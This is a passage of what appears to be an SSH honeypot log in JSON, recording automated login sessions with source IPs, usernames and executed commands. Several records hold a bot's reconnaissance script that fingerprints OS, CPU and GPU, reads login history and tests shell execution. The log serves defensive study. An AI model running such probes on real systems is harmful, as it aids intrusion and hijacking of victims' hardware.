|| true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:22:28.557111+00:00",
  "ended_at": "2026-08-27T10:22:28.663913+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "a0538d96-eb6f-4fba-89e7-c92ed5614666",
  "name": "slender-frank-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 41280,
  "username": "sol",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T10:21:30.668014+00:00",
  "ended_at": "2026-08-27T10:21:30.776410+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 737
 },
 {
  "id": "6eba91cb-c390-4910-8510-298d07e69efd",
  "name": "misty-marine-hoopoe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 55402,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:21:02.416764+00:00",
  "ended_at": "2026-08-27T10:21:31.533077+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3ab2c44a-dd1b-4722-a9d6-58af62ccc724",
  "name": "cunning-civil-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 43626,
  "username": "administrator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:20:40.913880+00:00",
  "ended_at": "2026-08-27T10:20:41.042791+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "cef4bbbd-079b-442e-a92c-44e6031fa847",
  "name": "coastal-mottled-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 57592,
  "username": "sol",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 199,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T10:19:08.016439+00:00",
  "ended_at": "2026-08-27T10:19:08.118632+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "c59e206a-a546-4e7b-a441-0350303b4b0a",
  "name": "windswept-prairie-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 40588,
  "username": "administrator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:18:21.164419+00:00",
  "ended_at": "2026-08-27T10:18:21.272510+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "41a7b5c2-7843-453c-91d8-713b9bc70ae3",
  "name": "wooded-calm-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 40264,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T10:16:47.668475+00:00",
  "ended_at": "2026-08-27T10:16:47.772372+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 737
 },
 {
  "id": "ce863334-770f-4021-b1d1-ac32a6785b73",
  "name": "valiant-buoyant-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 37558,
  "username": "administrator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:16:28.747786+00:00",
  "ended_at": "2026-08-27T10:16:28.903045+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "6a4233dc-95d9-4749-a17c-aeff903b2221",
  "name": "dutiful-ginger-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 57992,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:15:13.429340+00:00",
  "ended_at": "2026-08-27T10:15:15.221776+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0e26bd35-e14a-4ef8-b135-dc3217f6a4d5",
  "name": "drifting-fleeting-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 34510,
  "username": "administrator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:14:38.840298+00:00",
  "ended_at": "2026-08-27T10:14:38.944328+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b5da11ca-c312-4d7a-9a8c-532b0daae0b1",
  "name": "misty-spirited-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 37258,
  "username": "sol",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T10:14:36.351057+00:00",
  "ended_at": "2026-08-27T10:14:36.455161+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 737
 },
 {
  "id": "97a12098-7e85-458a-926f-984771a6042e",
  "name": "watchful-foggy-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 59732,
  "username": "admin1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:12:33.058874+00:00",
  "ended_at": "2026-08-27T10:12:33.061855+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "3579097a-e7d5-44ef-81ac-d4a994680fe3",
  "name": "prickly-gentle-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 44866,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 614,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T10:12:16.450246+00:00",
  "ended_at": "2026-08-27T10:12:16.776497+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 737
 },
 {
  "id": "ecef8e8c-486c-4fb9-9707-d4e989048d56",
  "name": "opal-crystal-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 56708,
  "username": "admin1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
